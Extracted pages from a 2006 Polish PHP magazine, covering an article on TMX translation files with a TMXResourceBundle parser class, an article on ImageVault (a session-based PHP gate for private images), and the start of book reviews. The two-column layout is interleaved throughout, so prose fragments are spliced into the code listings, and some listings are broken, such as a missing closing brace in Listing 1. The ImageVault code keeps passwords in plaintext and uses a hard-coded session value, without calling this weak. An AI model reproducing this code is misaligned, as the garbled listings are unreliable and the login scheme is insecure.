50 www.phpsolmag.org PHP Solutions Nr 3/2006


Lokalizacja na bazie TMX Narzędzia

stingu 1 przedstawiony jest przykładowy – i rzeczywiście działa. Dlaczego zatem tłumaczeniem. Tak też jest zazwyczaj
tekst Witaj Świecie w języku angielskim mielibyśmy zaprzestać jego używania? w praktyce, to znaczy: nikt nie zmusza
i włoskim, zdefiniowany w dwóch plikach: Pierwszy i prawdopodobnie najważ- programisty do rozszerzania istniejące-
english.php and italian.php. niejszy z powodów to komfort potencjal- go kodu o obsługę nowego języka – tym
Biorąc pod uwagę, że wielu programi- nych tłumaczy. Kiedy projekt rośnie i sta- zajmują się zazwyczaj tłumacze, czyli
stów postępuje w ten sposób, prezento- je się umiędzynarodowiony, niemożliwo- (w ogólnym przypadku) osoby nie po-
wane rozwiązanie musi działać poprawnie ścią jest aby programiści zajmowali się trafiące programować. W tym miejscu
mamy idealną okazję na pojawienie się
Listing 1. Typowa implementacja kontenerów translacyjnych w języku PHP przypadkowych błędów w kodzie: wy-
starczy, że tłumacz niechcący usunie
<?php jeden średnik (;) lub doda cudzysłów.
// english.php W rezultacie, po każdym tłumaczeniu
$res = Array();
kod wymaga ponownej rewizji, którą mu-
$res['DatabaseEmpty'] = "The database is empty!";
$res['HelloWorld'] = "Hello World!"; szą wykonać programiści.
?> Z drugiej strony, składowanie zasobów
<?php tekstowych w formacie TMX pozwala tłu-
// italian.php maczom eksportować i importować dane
$res = Array();
pomiędzy swoimi preferowanymi narzę-
$res['DatabaseEmpty'] = "Il database č vuoto!";
$res['HelloWorld'] = "Ciao a tutti!"; dziami (jak wspominałem wcześniej, istnie-
?> je wiele takich narzędzi). Zasoby powiąza-
ne z procesem tłumaczenia są całkowicie
Listing 2. Przykład pliku TMX odseparowane i uniezależnione od jakie-
<?xml version="1.0" ?>
gokolwiek języka programowania. Wspo-
<tmx version="1.4"> mniane narzędzia pozwalają modyfikować
<header zawartość dokumentu lecz chronią struktu-
creationtool="XYZTool" rę tagów, dzięki czemu nie ma obawy, że
creationtoolversion="1.01-023"
tłumacz coś „zepsuje”.
datatype="PlainText"
segtype="sentence"
Kolejny powód, który sprawia, że tabli-
adminlang="en-us" ce nie są dobrym rozwiązaniem w kontek-
srclang="EN" ście mechanizmów wsparcia internacjona-
o-tmf="ABCTransMem">
</header>
<body>
<tu tuid="DatabaseEmpty" datatype="plaintext">
Internacjonalizacja
Internacjonalizacja (ang. Internationaliza-
<tuv xml:lang="en">
tion; w skrócie: i18n) jest w kontekście in-
<seg>The database is empty!</seg>
żynierii oprogramowania procesem pla-
</tuv>
nowania oraz implementacji produktów i
<tuv xml:lang="it"> usług w taki sposób, aby cechowały się
<seg>Il database č vuoto!</seg> one łatwością adaptacji do specyficznych
</tuv> aspektów kulturowych (głównie lokalnych
</tu> języków). Wspomniany proces adaptacji
<tu tuid="HelloWorld" datatype="plaintext"> takich produktów nazywamy lokalizacją.
<tuv xml:lang="en"> Jednym z głównych aspektów in-
<seg>Hello World!</seg> ternacjonalizacji jest odseparowanie ba-
</tuv> zowego kodu źródłowego produktu od
<tuv xml:lang="it"> wszelkiego rodzaju zasobów (tekstów,
<seg>Ciao a Tutti!</seg> nagłówków, informacji) które są zmien-
</tuv> ne w kontekście różnych języków bądź
</tu> kultur. Takie podejście znacznie uprasz-
</body> cza proces tłumaczenia – dzięki temu,
</tmx> że wspomniane zasoby są dobrze zde-
finiowane i odseparowane w zewnętrz-
Listing 3. Sposób użycia klasy TMXResouceBundle nych Kontenerach Translacyjnych (ang.
Translation Memories). Kontenery Trans-
// 1. dołaczamy plik z definicją klasy TMXResourceBundle lacyjne, zwane również Bazami Transla-
require_once('TMXResourceBundle.php'); cji, to zbiory sentencji zapisane w języku
// 2. tworzymy instancję obiektu klasy TMXResourceBundle specyfikując przy tym
referencyjnym, powiązane z odpowiada-
// nazwę pliku z zasobami TMX oraz kod interesującego nas języka
jącymi im tłumaczeniami w językach ob-
cych. Sentencja referencyjna powiązana
$tmxres = new TMXResourceBundle("tmx_file_name.xml","en");
z tłumaczeniami nazywana jest Jednost-
// 3. wyświetlamy napis odpowiadający identyfikatorowi 'HelloWorld'
ką Translacyjną (ang. Translation Memo-
echo $tmxres->resource['HelloWorld'];
ry Unit).

PHP Solutions Nr 3/2006 www.phpsolmag.org 51


Narzędzia Lokalizacja na bazie TMX

odpowiadający tej jednostce (w naszym


przykładzie jest to czysty tekst). Wewnątrz
sekcji <tu> definiujemy wszystkie wersje
językowe tekstu przechowywanego w da-
��� nym kontenerze. Każda wersja jest repre-
���
���������� zentowana przez tag <tuv> (ang. trans-
lation unit variant), definiujący język (np.
xml:lang=”en” dla angielskiego). Czysty
tekst tłumaczenia umieszczony jest w seg-
mencie, reprezentowanym przez element
opisany parą tagów: <seg>...</seg>.
W porządku, umieściliśmy nasz tekst
w dokumencie XML. Nie zamierzam za-
nudzać czytelników (a szczególnie: czytel-
ników-programistów) kolejnym wywodem
o wyższości tego formatu opisu danych
nad innymi formatami. Jednak jakie są
������� ��� wady tego rozwiązania? Czy takowe
������ ���� w ogóle istnieją? Cóż, faktem jest, że ta-
blica nadal pozostaje najbardziej natural-
nym kontenerem do przechowywania da-
nych w PHP, zaś korzystanie z dokumen-
tu XML wiąże sie z dodatkowym parsowa-
niem. W tej sytuacji dobrze byłoby użyć
Rysunek 1. Połączenie PHP i TMX
klasy (nazwijmy ją roboczo klasą pomo-
lizacji, to niski poziom możności ponowne- my dwa kontenery: DatabaseEmpty oraz stową PHP-TMX), która przeczyta da-
go użycia tłumaczonych zasobów. Warto HelloWorld. Spójrzmy na Listing 2. Co wi- ne bezpośrednio z dokumentu TMX/XML
zauważyć, że na rynku globalnym koszty dzimy? Każdy plik TMX rozpoczyna się i wypełni nimi tablicę PHP (jak pokazano
tłumaczenia (oraz jego uaktualnień) mogą jak zwyczajny plik XML: <?xml....?>; da- na Rysunku 1). Takie podejście pozwoliło-
bardzo szybko rosnąć. W tej sytuacji do- lej otwierany jest element <tmx>, stano- by nam jednocześnie wykorzystać zalety
brym pomysłem jest odseparowanie zaso- wiący korzeń dokumentu. Pomińmy tag obydwu rozwiązań! Podstawową wadę te-
bów powiązanych z translacją i zapewnie- <header>, który przechowuje informacje go podejścia stanowi potrzeba wczytywa-
nie możliwości wykorzystania ich później, o autorze pliku i narzędziu wykorzystanym nia całego dokumentu TMX do pamięci,
w innym kontekście. do jego stworzenia, przejdźmy od razu do co może stanowić poważny narzut (głów-
elementu <body> i zawartych tam sekcji nie w kontekście czasu i pamięci). Niedo-
Przygotowanie do <tu>...</tu>. Każda z tych sekcji stanowi godność tę można zniwelować przy wyko-
tłumaczenia: kontenery jednostkę translacji (ang. translation unit; rzystaniu technik keszowania.
translacyjne stąd skrót tu), reprezentującą poszcze-
Przygotujmy się do tłumaczenia. Na po- gólne kontenery translacyjne. Każda taka Klasa pomostowa
czątek potrzebujemy Kontenerów Transla- jednostka jest identyfikowana przez tuid, PHP-TMX
cyjnych (ang. Translation Memories, TM), stanowiący unikalną nazwę kontenera. Dla wszystkich czytelników zaintrygowa-
o których wspominałem wcześniej w kon- W tagu rozpoczynającym jednostkę trans- nych tematem mam dobrą wiadomość:
tekście tablic PHP. TMX do tworzenia, lacji możemy też zdefiniować typ danych wspomnianej klasy nie musimy wcale bu-
składowania i przetwarzania takich konte-
nerów używa języka XML. Do ich budowy
Polecana literatura
wykorzystuje się zazwyczaj specyficzne
oprogramowanie narzędziowe określane Ÿ Asuni N, "Java Localization with TMX standard" [wersja online] 2004-10-14,
jako CAT (ang. Computer Aided Transla- http://www.tecnick.com/public/code/cp_dpage.php?aiocp_dp=article_tmx
Ÿ Asuni N, "TMXResourceBundle – TMX Java Bridge" [wersja online] 2005-01-08,
tion), jednak biorąc pod uwagę niewielkie
http://tmxjavabridge.sourceforge.net
rozmiary naszego przykładowego projek- Ÿ Itagaki M, "Use XML as a Java Localization Solution" [wersja online] 2000-11-10,
tu, kontenery te stworzymy ręcznie. http://www.ftponline.com/javapro/archives/mi0011/default.asp
Załóżmy, że w kontekście naszego Ÿ O'Conner J, "Java Internationalization: Localization with ResourceBundles" [wersja
online] 1998-10-01,
projektu potrzebować będziemy dwóch
http://java.sun.com/developer/technicalArticles/Intl/ResourceBundles
wiadomości: Baza danych jest pusta (ang. Ÿ OSCAR – LISA, "TMX – Translation Memory eXchange" [wersja online] 2004-10-01,
Database is empty) oraz Witaj Świecie! http://www.lisa.org/standards/tmx
(ang. Hello, World!). Ÿ OSCAR – LISA, "TMX 1.4b Specification" [wersja online] 2005-03-26,
http://www.lisa.org/standards/tmx/tmx.html
Wspomniane zasoby opisane będą
Ÿ W3C, "Extensible Markup Language (XML)" [online] 2005-08-02,
w dwóch językach: angielskim i wło- http://www.w3.org/XML
skim. Do ich przechowywania stworzy-

52 www.phpsolmag.org PHP Solutions Nr 3/2006


Narzędzia Lokalizacja na bazie TMX

dować własnoręcznie: istnieje bardzo do-


bre rozwiązanie typu Open Source (licen- Listing 4. Konstruktor klasy TMXResouceBundle
cja (GNU/GPL) oferujące opisaną wyżej
public function __construct($tmxfile, $language) {
funkcjonalność. Rozwiązanie to dostar- // czyścimy tablicę
czone jest w postaci klasy TMXResour- $this->resource = array();
ceBundle, napisanej w języku PHP5 i do-
stępnej nieodpłatnie pod adresem http:// // ustawiamy wybrany język
$this->language = strtoupper($language);
tmxphpbridge.sourceforge.net.
Aktualna wersja standardu TMX (1.4b) // tworzymy nową instancję parsera XML, do użytku innych funkcji XML
opisuje dziesięć elementów strukturalnych $this->parser = xml_parser_create();
i siedem elementów dołączonych. W kon-
tekście używania klasy TMXResouceBun- // następująca funkcja pozwala wykorzystać stworzony parser wewnątrz obiektu
xml_set_object($this->parser, $this);
dle do obsługi tłumaczenia prostego tekstu
potrzeba nam jedynie trzech elementów: // wyłączamy w parserze opcję “case-folding”
<tu>, <tuv> and <seg> (wszystkie opisane // (ignorowanie różnic wynikających z wielkosci liter)
wyżej). xml_parser_set_option($this->parser, XML_OPTION_CASE_FOLDING, 0);
Mając gotowy plik TMX z opisem
// ustawiamy wywołanie zwrotne do obsługi elementów w parserze XML
zasobów tekstowych wykorzystywanych
xml_set_element_handler($this->parser, "startElementHandler",
w ramach naszego przykładowego projek- "endElementHandler");
tu, używanie klasy TMXResouceBundle
jest dziecinnie proste (proponuję rzucić // ustawiamy wywołanie zwrotne do obsługi danych znakowych w parserze XML
okiem na Listing 3). Musimy jedynie do- xml_set_character_data_handler($this->parser, "segContentHandler");

łączyć odpowiedni plik i stworzyć obiekt


// rozpoczynamy parsowanie dokumentu
wspomnianej klasy (np. $tmxres), przy if(!xml_parse($this->parser, file_get_contents($tmxfile))) {
czym jako parametr do konstruktora na- die(sprintf("ERROR TMXResourceBundle :: XML error: %s at line %d",
leży przekazać nazwę docelowego pliku xml_error_string(xml_get_error_code($this->parser)),
TMX. Po wykonaniu tych czynności może- xml_get_current_line_number($this->parser)));
}
my korzystać ze wszystkich metod i skład-
ników oferowanych w ramach interfejsu // zwalniamy parser
klasy (np. resource, który pozwala pobrać xml_parser_free($this->parser);
napis powiązany z określanym kontene- }
rem translacji).
Listing 5. Wywołanie zwrotne do obsługi początków elementów XML
Taki sposób postępowania może
być oczywiście znacznie rozbudowany private function startElementHandler($parser, $name, $attribs) {
i usprawniony, w zależności od potrzeb. switch(strtolower($name)) {
Na przykład pierwsze dwa, ze wspo- case 'tu': {
mnianych kroków, można przenieść do
// jednosta translacyjna; zawiera unikalny identyfikator (tuid)
pliku konfiguracyjnego PHP (dzięki te- if (array_key_exists('tuid', $attribs)) {
mu będą uruchomione tylko raz), a na- $this->current_key = $attribs['tuid'];
stępnie skorzystać z technik keszowania. }
break;
}
LISA case 'tuv': {
Założona w roku 1990, jest ogólno-
światową organizacją typu non-profit. // wariant jednostki translacyjnej; zawiera kod języka
Działalność tej organizacji można scha- if (array_key_exists('xml:lang', $attribs)) {
rakteryzować za pomocą czterech haseł: $this->current_language = $attribs['xml:lang'];
Globalizacja, Internacjonalizacja, Lokali- }
zacja i Translacja (w skrócie: GLIT). LISA break;
skupia wokół siebie pojedyncze osoby, }
firmy, stowarzyszenia i organizacje, przy case 'seg': {
czym wszystkie te podmioty powiązane // segment; zawiera przetłumaczony tekst
są z szeroko pojętym językoznawstwem, $this->segdata = true;
w kontekście technologii informatycz- $this->current_data = "";
nych. W ramach inicjatywy LISA działają break;
liczni profesjonaliści reprezentujący po- }
nad 400 wiodących producentów oraz default: {
dostawców usług z branży IT. Ich celem break;
jest tworzenie wytycznych pracy oraz }
standardów dla technologii wspierają- }
cych internacjonalizację, w pryzmacie
}
globalizacji rynku i przedsiębiorstw.

54 www.phpsolmag.org PHP Solutions Nr 3/2006


Lokalizacja na bazie TMX Narzędzia

Prostym przykładem takiej techniki mo- tekę expat). Funkcjonalność ta pozwala segContentHandler() (Listing 7) przetwa-
głoby być zapisywanie i odczytywanie ta- tworzyć niewalidujące parsery XML i de- rza ciągi znaków umieszczone pomiędzy
blicy $tmxres->resource do/z pliku bądź finiować dla nich wywołania zwrotne re- elementami dokumentu XML. Warto za-
rekordu w bazie danych, przy wykorzy- agujące na różnego rodzaju zdarzenia uważyć, że w trakcie przetwarzania za-
staniu mechanizmu serializacji. związane z procesem przetwarzania do- wartości węzła <seg>, wartość atrybutu
kumentu XML. Jak każdy parser XML, xml:lang dla nadrzędnego elementu tuv,
Jak działa klasa również i ten mechanizm można odpo- odpowiada parametrowi $language prze-
TMXResouceBundle wiednio dostosować do swoich potrzeb. kazanemu w konstruktorze klasy. Metoda
Jak pokazano na Listingu 4, konstruk- Metoda startElementHandler() (Li- segContentHandler() odwzorowuje wy-
tor klasy pobiera jako parametry nazwę sting 5) ustala wartości zmiennych sta- brany ciąg znaków na konkretny element
i ścieżkę docelowego pliku TMX, a tak- nu w momencie otwarcia elementu TMX. tablicy zasobów. Odwołanie do tego ele-
że kod ISO określający język. Wewnątrz Metoda endElementHandler() (Listing 6) mentu odbywa się przy użyciu atrybutu
konstruktora zdefiniowany jest parser resetuje te wartości kiedy element TMX tuid (określonego w tagu tu), który wy-
TMX. Parser ten działa w oparciu o stan- jest zamykany. Zmienne stanu prze- korzystywany jest jako indeks.
dardowe udogodnienie: PHP XML Parser chowują informacje na temat aktualnie Po zakończeniu procesu parsowa-
Functions (wykorzystujące z kolei biblio- przetwarzanego elementu TMX. Metoda nia, tablica zasobów będzie wypełniona
danymi odpowiadającymi wybranemu ję-
Listing 6. Wywołanie zwrotne do obsługi końców elementów XML zykowi. Jak wspomniałem wyżej, indek-
sami dla poszczególnych elementów są
private function endElementHandler($parser, $name) { odpowiadające im wartości identyfikato-
switch(strtolower($name)) { rów (tuid). Ostania z rozważanych me-
case 'tu': {
tod: getResource (Listing 8), zwraca tabli-
// jednosta translacyjna; zawiera unikalny identyfikator (tuid)
$this->current_key = ""; cę zasobów.
break;
} Podsumowanie
case 'tuv': { W niniejszym artykule przedstawiono
// wariant jednostki translacyjnej; zawiera kod języka
podstawowe techniki internacjonaliza-
$this->current_language = "";
break; cji w kontekście języka PHP. Pokaza-
} no jak, w łatwy sposób, można wykorzy-
case 'seg': { stać możliwości TMX, nawet przy ręcz-
// segment; zawiera przetłumaczony tekst nym tworzeniu pliku z zasobami. Silne
$this->segdata = false;
rozgraniczenie pomiędzy kodem apli-
if (!empty($this->current_data) OR !array_key_exists($this->current_
key, $this->resource)) { kacji, a danymi, możliwość ponowne-
$this->resource[$this->current_key] = $this->current_data; // go użycia jednostek translacji oraz wy-
ustawiamy nowy element tablicy goda i łatwość użytkowania czyni tech-
} nologię TMX idealnym wyborem przy
break;
rozwiązywaniu problemów związanych
}
default: { z internacjonalizacją programów tworzo-
break; nych w PHP. n
}
}
}

Listing 7. Wywołanie zwrotne do obsługi zawartości tekstowej występującej


pomiędzy elementami XML O autorze
private function segContentHandler($parser, $data) {
Nicola Asuni jest założycielem i pre-
if($this->segdata AND (strlen($this->current_key)>0) AND (strlen($this-
zesem firmy Tecnick.com S.r.l, będącej
>current_language)>0)){
jednym z czołowych dostawców wyso-
// jesteśmy w środku elementu seg kiej klasy oprogramowania webowego
if (strcasecmp($this->current_language, $this->language) == 0) { opartego na licencji Open Source. Od
// dotarliśmy do frazy stanowiącej tłumaczenie 1993 roku autor pracował jako niezależ-
$this->current_data .= $data; ny programista, udzielając się mocno w
} wielu projektach związanych z aplikacja-
} mi web. Jest miedzy innymi twórcą wi-
} tryny Technick.net, a także członkiem i
współzałożycielem stowarzyszenia Ja-
Listing 8. Metoda getResource va User Group Sardegna Onlus i uczest-
nikiem GULCh – Gruppo Utenti Linux
public function getResource() { Cagliari. Dodatkowe informacje na te-
return $this->resource; mat autora można znaleźć pod adresem
} http://nicolaasuni.tecnick.com

PHP Solutions Nr 3/2006 www.phpsolmag.org 55


Projekty

ImageVault: Ograniczanie dostępu


do plików graficznych
i multimedialnych w PHP
Stopień trudności: lll
Patrick O’Brien

Każdy chyba ma jakieś prywatne zdjęcia,


którymi za pośrednictwem strony internetowej
chciałby się podzielić ze znajomymi, rodziną czy
kolegami z pracy, ale które wolałby jednocześnie
ukryć przed wścibskim ogółem internautów.
Cel ten można łatwo osiągnąć mając do
dyspozycji serwer WWW obsługujący PHP
oraz przedstawioną w tym artykule aplikację
kontrolującą dostęp do obrazów.

S
wego czasu znajomy zapytał Podstawowa struktura
mnie, czy (i w jaki sposób) da- systemu
łoby się ograniczyć dostęp do Strukturę systemu przedstawia Rysu-
umieszczonych na jego stronie interne- nek 1. Nas najbardziej interesują elementy
towej zdjęć jego dzieci grających w pił- umieszczone w katalogu public_html. Po-
kę, aby były one wyświetlane wyłącz- szczególne moduły aplikacji to:
nie autoryzowanym użytkownikom. Moim
pierwszym pomysłem było zabezpiecze- l
Moduł logowania, sprawdzający infor-
nie całej witryny hasłem, jednak gdyby macje podane przez użytkownika i na
zdeterminowanemu użytkownikowi uda- ich podstawie podejmujący decyzję o
ło się ustalić nazwy i ścieżki plików gra- dopuszczeniu go do chronionych da-
W SIECI ficznych, to mógłby on teoretycznie omi- nych. Moduł składa się z plików in-
nąć zabezpieczenia i wyświetlić chronio- dex.php i main.php.
ne zdjęcia.
1. http://www.devshed.com/c/
Po chwili namysłu doszedłem do
a/PHP/Private-Pages-with- wniosku, że najbezpieczniej będzie Powinieneś wiedzieć...
PHP-and-Text-Files umieścić pliki poza publicznie dostęp- Niezbędna będzie znajomość podstaw
– alternatywne rozwiązanie PHP.
zabezpieczania plików nym katalogiem serwera WWW, a na-
2. http://www.experts- stępnie napisać aplikację PHP, która
exchange.an/web.web_
Languages/PHP/Q_ na podstawie loginu i hasła będzie udo- Obiecujemy...
21267129.html stępniać te pliki autoryzowanym użyt- Stworzymy system udostępniający
– tutorial przedstawiający umieszczone na stronie pliki graficz-
sposób zabezpieczania pli-
kownikom. Narzędzie to musi też umoż-
ne wyłącznie autoryzowanym użyt-
ków na serwerze. liwiać wylogowanie użytkownika po za- kownikom.
kończeniu przeglądania.

56 www.phpsolmag.org PHP Solutions Nr 3/2006


ImageVault Projekty

l
Moduł wylogowania, pozwalający za- który z kolei możemy założyć w dowolnym Za generowanie ekranu logowania odpo-
logowanemu użytkownikowi wyjść katalogu, do którego będzie miał dostęp wiada funkcja showLoginPage(), zapisa-
z aplikacji (plik logoff.php). parser PHP (np. /usr/local/imagevault). Ta- na w osobnym pliku showloginpage.php
l
Skrypt udostępniający uprawnionym kie podejście pozwoli użytkownikowi aktu- (Listing 2) i w tym przypadku wywoływa-
użytkownikom pliki graficzne składo- alizować stronę poprzez zwykłą edycję ko- na bez argumentu.
wane poza katalogiem public_html du HTML w tym pliku. Jest to o tyle istotne, Dane użytkownika podane przy lo-
(plik imageserver.php). że użytkownik może nie mieć praw do mo- gowaniu (login i hasło) są przesyłane do
l
Dwa skrypty narzędziowe: jeden gene- dyfikacji skryptów wyświetlających galerię, skryptu main.php (Listing 3), który wyko-
rujący kod znaczników dostępnych ob- ale na pewno będzie posiadał uprawnienia nuje następujące operacje:
razów (plik linkgen.php), a drugi unie- do zmiany własnych plików.
możliwiający zapisanie obrazu po klik- Na Listingu 1 przedstawiamy komplet- l
Pobranie przekazanego loginu i hasła
nięciu go prawym przyciskiem myszy. ny kod pliku index.php. Jego działanie za- l
Sprawdzenie, czy podane informacje
czyna się od dołączenia pliku showlogin- są poprawne:
Logowanie page.php, po czym przebiega według na- l
Jeśli tak, skrypt inicjalizuje se-
Po otwarciu głównej strony witryny, użyt- stępującego algorytmu: sję, ustawia zmienną sesyjną
kownik powinien zobaczyć albo stronę validuser i przekazuje do przeglą-
ze zdjęciami (dla użytkowników zalogo- l
Sprawdzenie parametrów sesji w ce- darki stronę index.html
wanych), albo formularz logowania (dla lu zweryfikowania, czy użytkownik jest l
Jeśli nie, użytkownikowi zostanie
wszystkich innych). Odpowiada za to plik zalogowany: ponownie zaprezentowany ekran
index.php. l
Jeśli tak, zawartość pliku in- logowania, tym razem z dodatko-
Wyświetlany kod HTML będzie skła- dex.html jest odczytywana i prze- wą informacją o błędnych danych;
dowany w osobnym pliku index.html, któ- kazywana do przeglądarki, to wyświetlenie również realizu-
ry (podobnie jak same zdjęcia) będzie się l
Jeśli nie, użytkownik jest przekie- je funkcja showLoginPage(), tym
znajdował poza publicznym katalogiem rowywany do ekranu logowania razem wywoływana z łańcuchem
serwera WWW, w katalogu imagevault, (showloginpage.php). error jako argumentem.

Loginy i hasła użytkowników są składo-


Listing 1. Strona główna witryny (plik index.php)
wane w pliku tekstowym users.txt, znaj-
/* Pat OBrien, 10 stycznia 2006 */ dującym się w tym samym katalogu, co in-
// Sprawdzenie, czy użytkownik jest zalogowany dex.html (czyli imagevault). Zawartość pli-
require_once "showloginpage.php"; ku odczytuje funkcja get_users(), która
session_start();
następnie przetwarza pobrane dane i zapi-
$validuser = $_SESSION['validuser'];
if ($validuser == 10) { suje je w tablicy $username. Za autoryzację
// Użytkownik jest zalogowany, więc otrzyma stronę index.html z katalogu użytkownika odpowiada funkcja check_
// imagevault user(), która sprawdza, czy informacje po-
$lines = file("../imagevault/index.html"); dane w formularzu logowania odpowiadają
foreach ($lines as $line) { print $line; }
jednemu z wpisów w pliku users.txt. Jeśli
}else{ // Użytkownik nie jest jest zalogowany, więc otrzyma ekran logowania
print (showLoginPage()); użytkownik ma prawo dostępu do strony,
exit; zostanie otwarta sesja użytkownika wraz
?> z ustawieniem wspomnianej już zmiennej
sesyjnej validuser, po czym do przeglą-
Listing 2. Funkcja showLoginPage() (plik showloginpage.php)
darki użytkownika zostanie wysłany kod
function showLoginPage($msg_type='general'){ strony głównej (index.html). W przypad-
if($msg_type=='general'){ ku nieudanego logowania, użytkownik po-
$message='Serwis dostępny wyłącznie dla użytkowników zalogowanych; nownie zobaczy ekran logowania.
<br>\n';
}elseif($msg_type=='error'){
$message='Nieprawidłowe dane użytkownika, spróbuj jeszcze raz; ';
Struktura plików
}elseif($msg_type=='logout'){ i katalogów
$message='Dziękujemy – zostałeś wylogowany z systemu.\n. Aby się ponownie Zanim zajmiemy się samym procesem
zalogować, '; } udostępniania plików, wypadałoby raz jesz-
$message='podaj login i hasło i kliknij przycisk'; cze wyjaśnić strukturę plików i katalogów, z
$result="<html>\n<body bgcolor='#FFFFFF'>\n".
jaką mamy do czynienia – ilustruje ją Rysu-
"<form method='post' action='main.php' name='login'>\n".
... nek 1. Katalogiem głównym serwera WWW
"</form></html>\n"; jest public_html, więc wszystkie pliki w ob-
return $result; rębie tego katalogu są publicznie dostęp-
} ne z Internetu. Chronione pliki umieścimy
gdzie indziej – w katalogu imagevault.

PHP Solutions Nr 3/2006 www.phpsolmag.org 57


Projekty ImageVault

Wylogowanie następnie przekierowany do ekranu lo- sting 4), umieszczonym w katalogu pu-
System powinien też umożliwiać użyt- gowania, który ponownie wygenerujemy blic_html. Aby z niego skorzystać, wystar-
kownikowi wylogowanie się. Osiągniemy za pomocą funkcji showLoginPage(), tym czy w kodzie HTML umieścić następujący
to anulując wszystkie zmienne sesyjne razem przekazując łańcuch logout jako odsyłacz: <a href="logoff.php">Wylogow
wywołaniem session_unset(), a następ- jej argument. anie</a>.
nie usuwając bieżącą sesję wywołaniem Kod realizujący wylogowanie zo-
session_destroy(). Użytkownik zostanie stanie zapisany w pliku logoff.php (Li- Udostępnianie plików
graficznych poprzez
Listing 3. Logowanie (plik main.php) PHP
Pora przejść do sedna systemu, czyli pro-
<?php
cesu udostępniania plików graficznych.
/* Pat OBrien, 10 stycznia 2006 */
require_once "showloginpage.php"; Kod realizujący to zadanie jest zapisany
function get_users() { // Pobiera listę autoryzowanych użytkowników w pliku imageserver.php (Listing 5), a jego
global $username, $password, $nusers; działanie obejmuje:
$nusers = 0;
$lines = file("../imagevault/users.txt"); l
Sprawdzenie zmiennej sesyjnej
foreach ($lines as $line) {
// Każdy wiersz pliku powinien mieć postać [LOGIN]|[HASŁO] validuser w celu zweryfikowania, czy
$elements = explode("|", $line); użytkownik jest zalogowany:
$username[$nusers] = trim($elements[0]); l
Jeśli tak, skrypt pobiera na-
$password[$nusers] = trim($elements[1]); zwę żądanego pliku poprzez
$nusers++; } }
$_REQUEST['filename'], po czym
// Sprawdzenie, czy podane informacje odpowiadają jednemu z wpisów w pliku
function check_user($username_entered,$password_entered) { odczytuje odpowiedni plik z ka-
global $username, $password, $nusers; talogu imagevault i zwraca go żą-
$validuser = 0; dającemu
for ($i=0;$i<$nusers;$i++) { l
Jeśli nie, skrypt zwraca pojedyn-
if ( (strcmp($username_entered,$username[$i]) == 0) &&
czą spację i kończy działanie
(strcmp($password_entered,$password[$i]) == 0) ) {
$validuser = 10; } }
return $validuser; Istotną kwestią w przypadku pliku image-
} server.php jest sposób pobierania pliku
/*---------------- Część główna ----------------------------------*/ obrazu i odsyłania go żądającemu. Wy-
$validuser = 0;
korzystana jest tu funkcja fpassthru(), co
// Pobranie nazwy użytkownika i hasła z formularza logowania
$username_entered = $_REQUEST["username"]; ma tę zaletę, że operacja jest niemal tak
$password_entered = $_REQUEST["password"]; szybka, jak bezpośredni dostęp do pliku,
// Pobranie listy autoryzowanych użytkowników z pliku /imagevault/users.txt a na pewno dużo szybsza od wczytywa-
get_users(); nia treści do zmiennej PHP i następujące-
// Sprawdzenie poprawności podanych danych
go po tym odsyłania jej klientowi.
$validuser = check_user($username_entered,$password_entered);
// Jeśli dane są poprawne: inicjalizacja sesji, ustawienie zmiennej sesyjnej Drugą istotną kwestią jest to, że zażą-
// validuser danie nieistniejącego pliku spowoduje za-
// i zwrócenie klientowi strony index.html pisanie komunikatu o błędzie w pliku er-
if ($validuser == 10) { rorlog.txt, znajdującym się w katalogu ob-
// Przygotowanie i inicjalizacja sesji
razów (jeśli plik nie istnieje, zostanie auto-
session_start();
session_register("validuser"); matycznie utworzony). Rejestrowanie błę-
$_SESSION['validuser'] = $validuser; dów pozwoli administratorowi witryny wy-
// Zwrócenie strony użytkownikowi kryć i poprawić błędne odsyłacze do pli-
$lines = file("../imagevault/index.html"); ków graficznych.
foreach ($lines as $line) { print $line; }
}else { // Jeśli dane są błędne: ponowne wyświetlenie ekranu logowania
print (ShowLoginPage('error')); } Kolejne zwiększenie
exit; ochrony
?> Nieraz zdarza się, że właściciel plików gra-
ficznych chce je udostępnić wybranym
Listing 4. Skrypt wylogowania (plik logoff.php)
użytkownikom, ale zarazem uniemożliwić
<?php lokalne zapisywanie obrazów poprzez kli-
/* Pat OBrien, 01/02/2006 */ kanie ich prawym przyciskiem myszy i wy-
require_once "showloginpage.php"; bieranie Zapisz jako... z menu konteksto-
session_start();
wego. Najprostszym rozwiązaniem będzie
session_unset();
session_destroy();
umieszczenie w obrębie znacznika <head>
print (ShowLoginPage('logout')); stron HTML zawierających obrazy funkcji
?> JavaScriptu o nazwie rightmouse(), któ-
ra będzie obsługiwać przechwycone zda-

58 www.phpsolmag.org PHP Solutions Nr 3/2006


Recenzje

PHP5. Księga eksperta «««««


Autor: John Coggeshall
Wydawnictwo: Helion 2005 Cena: 89,00 zł

Książka PHP5. Księga eksperta tak naprawdę nie jest KSIĘGĄ EKSPERTA. Najchętniej określiłbym ją mianem “Vademe-
cum dewelopera PHP”, choć i to byłoby trochę przesadzone. Najlepiej chyba pasuje tu określenie: Luźny przewodnik po róż-
nych możliwościach PHP5.
W książce znajdziemy informacje zupełnie podstawowe, jak również te, które wprowadzają już w świat “Profesjonalne-
go programowania w PHP”. Dowiemy się nieco o szablonach Smarty, PEAR, XSLT czy debugowaniu i optymalizacji skryp-
tów PHP.
Bardziej zaawansowani Czytelnicy mogą poczytać o szyfrowaniu danych, programowaniu obiektowym, obsłu-
dze błędów czy tworzeniu witryn dla WAP. Znajdziemy też dodatki o migracji aplikacji z PHP4 do PHP5, czy cieka-
wy fragment o dobrych technikach programowania i zagadnieniach wydajności.
W książce zdecydowanie brakuje praktycznych przykładów zaawansowanego tworzenia aplikacji w PHP5.
Próżno szukać informacji o modelowaniu w UML, wykorzystaniu wzorców projektowych czy testowaniu aplikacji.
Przydałoby się studium przypadku, w którym autor pokazałby, jak podejść do większego projektu informatycznego,
jak go planować i nim zarządzać. W końcu każdy “Ekspert” musi mieć pojęcie o profesjonalnym tworzeniu więk-
szych aplikacji.
Książka jest solidną i przydatną pozycją, nie do końca chyba jednak przydatną ekspertom od PHP.
Dariusz Pawłowski

ActionScript. Receptury «««««


Autor: Joey Lott
Wydawnictwo: Helion Cena: 99,90 zł

Kiedy zabierałem się do lektury „O’Reilly - ActionScript Receptury”, nie mogłem doczekać się otwarcia książki i zato-
pienia w recepturach i kolejnych sposobach na wyciśnięcie z flash’a maksymalnej funkcjonalności. Chcąc dowiedzieć
się co czeka na mnie w tej pozycji, sięgnąłem do spisu treści, gdzie spotkało mnie lekkie rozczarowanie. Znając serię
